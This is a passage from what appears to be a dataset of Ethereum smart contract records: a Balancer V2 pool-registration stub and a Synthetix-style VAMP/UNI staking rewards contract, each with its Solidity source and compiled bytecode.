ffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a7230582075d373df1bdd4b8f406303466534c7f1ce4a16932b4873d54812999531f9acc70029
[ 2 ]
0xf3799cbae9c028c1a590f4463dff039b8f4986be
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @author Nicolás Venturo - @nventuro */ contract BalancerV2Pool { constructor(address vault) { // First Pool ever! (bool success, ) = vault.call(abi.encodePacked(bytes4(0x09b2760f), bytes32(0x0000000000000000000000000000000000000000000000000000000000000000))); require(success); } }
0x6080604052600080fdfea264697066735822122048aafb9e95ecca3fbbe0a5ff48a7c191b0de23d3666315426ca04bd867268bcb64736f6c63430007060033
[ 38 ]
0xf379a018F6C2b78c58BAa675330757dA3e1df938
/** *Submitted for verification at Etherscan.io on 2020-09-25 */ /* _____ ____ _____ ______ _______ ____ _____ ______ _____ ____|\ \ ____|\ \ ___|\ \ | \/ \ | ||\ \ |\ \ ___|\ \ | | \ \ / /\ \ | |\ \ / /\ \ | | \\ \| \ \ / /\ \ | |______/| | | || | | | / /\ / /\ || | \| \ \ || | |____| | |----'\ | |__| || |/____/ / /\ \_/ / / /|| | | \ | || | ____ | |_____/ | .--. || |\ \ | | \|_|/ / / || | | \ | || | | | | | | | | || | | || | | | || | | |\ \| || | |_, | |____| |____| |____||____| |____||\____\ |____| /|____| |____||\_____/||\ ___\___/ /| | | | | | || | | || | | | | / | | | |/ \| ||| | /____ / | |____| |____| |____||____| |____| \|____| |____|/ |____| |____| |___|/ \|___| | / )/ \( )/ \( )/ \( )/ \( \( )/ \( |____|/ ' ' ' ' ' ' ' ' ' ' ' )/ ' ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: VAMPRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount() external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } // File: contracts/CurveRewards.sol pragma solidity ^0.5.0; pragma solidity ^0.5.17; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public uni = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984); uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); uni.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); uni.safeTransfer(msg.sender, amount); } } contract VAMPUNIPOOL is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public vamp = IERC20(0xb2C822a1b923E06Dbd193d2cFc7ad15388EA09DD); uint256 public DURATION = 7 days; uint256 public generation = 3; uint256 public initreward = 93500 ether; uint256 public starttime = 1601308800; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{ require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart{ require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) checkhalve checkStart{ uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; vamp.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } modifier checkhalve() { if (block.timestamp >= periodFinish) { generation = generation.add(1); if (generation == 4) { DURATION = 6 days; initreward = 136000 ether; rewardRate = initreward.div(DURATION); periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } else if (generation == 5) { DURATION = 5 days; initreward = 178500 ether; rewardRate = initreward.div(DURATION); periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } else if (generation == 6) { DURATION = 3 days; initreward = 229500 ether; rewardRate = initreward.div(DURATION); periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } else if (generation > 6) { uint256 balance = vamp.balanceOf(address(this)); require(balance > 0, "Contract is empty, all rewards distributed"); vamp.safeTransfer(owner(), balance); //transfer any leftover rewards to the owner to be burned or airdropped. } } _; } modifier checkStart(){ require(block.timestamp > starttime,"not start"); _; } function notifyRewardAmount() external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = initreward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = initreward.add(leftover).div(DURATION); } // vamp.mint(address(this),initreward); starttime = block.timestamp; lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(initreward); } }
0x608060405234801561001057600080fd5b50600436106101a75760003560e01c806380faa57d116100f9578063c8f33c9111610097578063e9fad8ee11610071578063e9fad8ee14610368578063ebe2b12b14610370578063edc9af9514610378578063f2fde38b14610380576101a7565b8063c8f33c9114610350578063cd3daf9d14610358578063df136d6514610360576101a7565b80638da5cb5b116100d35780638da5cb5b146103075780638f32d59b1461030f5780639c907b581461032b578063a694fc3a14610333576101a7565b806380faa57d146102d15780638b876347146102d95780638da58897146102ff576101a7565b806318160ddd116101665780633d18b912116101405780633d18b9121461029357806370a082311461029b578063715018a6146102c15780637b0a47ee146102c9576101a7565b806318160ddd146102665780631be052891461026e5780632e1a7d4d14610276576101a7565b806222f81a146101ac5780628cc262146101d05780630700037d146102085780630c51dde41461022e5780630d68b76114610238578063172195221461025e575b600080fd5b6101b46103a6565b604080516001600160a01b039092168252519081900360200190f35b6101f6600480360360208110156101e657600080fd5b50356001600160a01b03166103b5565b60408051918252519081900360200190f35b6101f66004803603602081101561021e57600080fd5b50356001600160a01b031661043b565b61023661044d565b005b6102366004803603602081101561024e57600080fd5b50356001600160a01b03166105d3565b6101f661064e565b6101f6610654565b6101f661065b565b6102366004803603602081101561028c57600080fd5b5035610661565b61023661078a565b6101f6600480360360208110156102b157600080fd5b50356001600160a01b0316610a90565b610236610aab565b6101f6610b4e565b6101f6610b54565b6101f6600480360360208110156102ef57600080fd5b50356001600160a01b0316610b67565b6101f6610b79565b6101b4610b7f565b610317610b8e565b604080519115158252519081900360200190f35b6101f6610bb4565b6102366004803603602081101561034957600080fd5b5035610bba565b6101f6610eb9565b6101f6610ebf565b6101f6610f13565b610236610f19565b6101f6610f34565b6101b4610f3a565b6102366004803603602081101561039657600080fd5b50356001600160a01b0316610f49565b6005546001600160a01b031681565b6001600160a01b0381166000908152600f6020908152604080832054600e909252822054610435919061042990670de0b6b3a76400009061041d90610408906103fc610ebf565b9063ffffffff610fae16565b61041188610a90565b9063ffffffff610ff716565b9063ffffffff61105016565b9063ffffffff61109216565b92915050565b600f6020526000908152604090205481565b6004546001600160a01b03166104616110ec565b6001600160a01b0316146104a65760405162461bcd60e51b815260040180806020018281038252602181526020018061167f6021913960400191505060405180910390fd5b60006104b0610ebf565b600d556104bb610b54565b600c556001600160a01b03811615610502576104d6816103b5565b6001600160a01b0382166000908152600f6020908152604080832093909355600d54600e909152919020555b600a544210610528576006546008546105209163ffffffff61105016565b600b5561057a565b600a5460009061053e904263ffffffff610fae16565b90506000610557600b5483610ff790919063ffffffff16565b905061057460065461041d8360085461109290919063ffffffff16565b600b5550505b426009819055600c819055600654610598919063ffffffff61109216565b600a5560085460408051918252517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a150565b6105db610b8e565b61062c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60075481565b6001545b90565b60065481565b3361066a610ebf565b600d55610675610b54565b600c556001600160a01b038116156106bc57610690816103b5565b6001600160a01b0382166000908152600f6020908152604080832093909355600d54600e909152919020555b60095442116106fe576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610747576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b610750826110f0565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b33610793610ebf565b600d5561079e610b54565b600c556001600160a01b038116156107e5576107b9816103b5565b6001600160a01b0382166000908152600f6020908152604080832093909355600d54600e909152919020555b600a5442106109d75760075461080290600163ffffffff61109216565b60078190556004141561088b576207e9006006819055691ccc9324511e4500000060088190556108379163ffffffff61105016565b600b5560065461084e90429063ffffffff61109216565b600a5560085460408051918252517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a16109d7565b600754600514156108be576206978060068190556925cc811faa77ba90000060088190556108379163ffffffff61105016565b600754600614156108f1576203f4806006819055693099384d48e31470000060088190556108379163ffffffff61105016565b600660075411156109d757600554604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561094757600080fd5b505afa15801561095b573d6000803e3d6000fd5b505050506040513d602081101561097157600080fd5b50519050806109b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611634602a913960400191505060405180910390fd5b6109d56109bc610b7f565b6005546001600160a01b0316908363ffffffff61114d16565b505b6009544211610a19576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b6000610a24336103b5565b90508015610a8c57336000818152600f6020526040812055600554610a55916001600160a01b03909116908361114d565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b6001600160a01b031660009081526002602052604090205490565b610ab3610b8e565b610b04576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6003546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600380546001600160a01b0319169055565b600b5481565b6000610b6242600a546111a4565b905090565b600e6020526000908152604090205481565b60095481565b6003546001600160a01b031690565b6003546000906001600160a01b0316610ba56110ec565b6001600160a01b031614905090565b60085481565b33610bc3610ebf565b600d55610bce610b54565b600c556001600160a01b03811615610c1557610be9816103b5565b6001600160a01b0382166000908152600f6020908152604080832093909355600d54600e909152919020555b600a544210610dee57600754610c3290600163ffffffff61109216565b600781905560041415610cbb576207e9006006819055691ccc9324511e450000006008819055610c679163ffffffff61105016565b600b55600654610c7e90429063ffffffff61109216565b600a5560085460408051918252517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610dee565b60075460051415610cee576206978060068190556925cc811faa77ba9000006008819055610c679163ffffffff61105016565b60075460061415610d21576203f4806006819055693099384d48e3147000006008819055610c679163ffffffff61105016565b60066007541115610dee57600554604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610d7757600080fd5b505afa158015610d8b573d6000803e3d6000fd5b505050506040513d6020811015610da157600080fd5b5051905080610de15760405162461bcd60e51b815260040180806020018281038252602a815260200180611634602a913960400191505060405180910390fd5b610dec6109bc610b7f565b505b6009544211610e30576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610e76576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610e7f826111ba565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600c5481565b6000610ec9610654565b610ed65750600d54610658565b610b62610f04610ee4610654565b61041d670de0b6b3a7640000610411600b54610411600c546103fc610b54565b600d549063ffffffff61109216565b600d5481565b610f2a610f2533610a90565b610661565b610f3261078a565b565b600a5481565b6000546001600160a01b031681565b610f51610b8e565b610fa2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610fab8161121c565b50565b6000610ff083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bd565b9392505050565b60008261100657506000610435565b8282028284828161101357fe5b0414610ff05760405162461bcd60e51b815260040180806020018281038252602181526020018061165e6021913960400191505060405180910390fd5b6000610ff083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611354565b600082820183811015610ff0576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b600154611103908263ffffffff610fae16565b60015533600090815260026020526040902054611126908263ffffffff610fae16565b336000818152600260205260408120929092559054610fab916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261119f9084906113b9565b505050565b60008183106111b35781610ff0565b5090919050565b6001546111cd908263ffffffff61109216565b600155336000908152600260205260409020546111f0908263ffffffff61109216565b336000818152600260205260408120929092559054610fab916001600160a01b03909116903084611577565b6001600160a01b0381166112615760405162461bcd60e51b815260040180806020018281038252602681526020018061160e6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000818484111561134c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113115781810151838201526020016112f9565b50505050905090810190601f16801561133e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836113a35760405162461bcd